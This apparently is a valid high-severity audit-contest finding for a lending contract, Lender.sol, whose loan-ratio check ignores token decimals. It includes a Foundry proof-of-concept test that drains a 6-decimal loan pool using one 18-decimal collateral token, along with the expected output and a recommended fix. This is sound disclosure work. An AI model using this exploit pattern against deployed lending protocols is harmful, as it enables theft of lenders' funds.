20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender.sol naively assumes that loanToken and CollateralToken have the same decimal places. Borrowers can abuse this to take huge borrows with little collateral

Summary

Protocol assumes that loanToken and collateralToken have the same decimal places when calculating Loan Ratio. If the decimals are different, loanToken being lesser decimals than collateralToken, borrowers can manipulate the loan ratio and withdraw the whole pool, effectively stealing the lender's funds.

Vulnerability Details

When borrowing from a pool, the loan ratio is calculated to make sure that the borrower isn't borrowing too much.

// make sure the user isn't borrowing too much
uint256 loanRatio = (debt * 10 ** 18) / collateral;
if (loanRatio > pool.maxLoanRatio) revert RatioTooHigh();

Attached is a new test contract named Decimals.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
/* @audit
1. Step 1: Imagine that TERC20 is the loanToken with 6 decimals, and AERC20 is the collateralToken with 18 decimals.
2. Step 2: A lender sets up a pool with 100,000 TERC20 tokens
3. Step 3: A borrower is able to borrower the 100,000 TERC20 tokens with just 1 AERC20 token, and emptying the pool.
*/
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract AERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "AERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
AERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new AERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 6);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function test_borrow_differentDecimals() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 6,
poolBalance: 100000 * 10 ** 6, //@audit Lender deposits 100,000 TERC20 tokens
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
console.log("Loan Token in Pool:", poolBalance/1e6);
assertEq(poolBalance, 100000 * 10 ** 6);
console.log(
"Initial Loan Token for Borrower:",
loanToken.balanceOf(address(borrower))/1e6
);
console.log(
"Initial Collateral Token for Borrower:",
collateralToken.balanceOf(address(borrower))/1e18
);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100000 * 10 ** 6, //@audit Borrower takes 100,000 TERC20 tokens
collateral: 1 * 10 ** 18 //@audit Borrower spplies only 1 AERC20 token
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
console.log(
"Final Loan Token for Borrower:",
loanToken.balanceOf(address(borrower))/1e6
);
console.log(
"Final Collateral Token for Borrower:",
collateralToken.balanceOf(address(borrower))/1e18
);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
console.log("Final Loan Token in Pool:", poolBalance/1e18); //@audit Borrower is able to drain the whole pool
}
}

Run the test suite with the command: forge test --match-path test/Decimals.t.sol -vv and the following should be returned

Loan Token in Pool: 100000
Initial Loan Token for Borrower: 0
Initial Collateral Token for Borrower: 100000
Final Loan Token for Borrower: 99500
Final Collateral Token for Borrower: 99999
Final Loan Token in Pool: 0

Impact

The whole Lender's pool can be drained using a small amount of collateral.

Tools Used

Foundry

Recommendations

Recommend making sure that the decimals of the loanToken and collateralToken is the same before creating any borrows.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.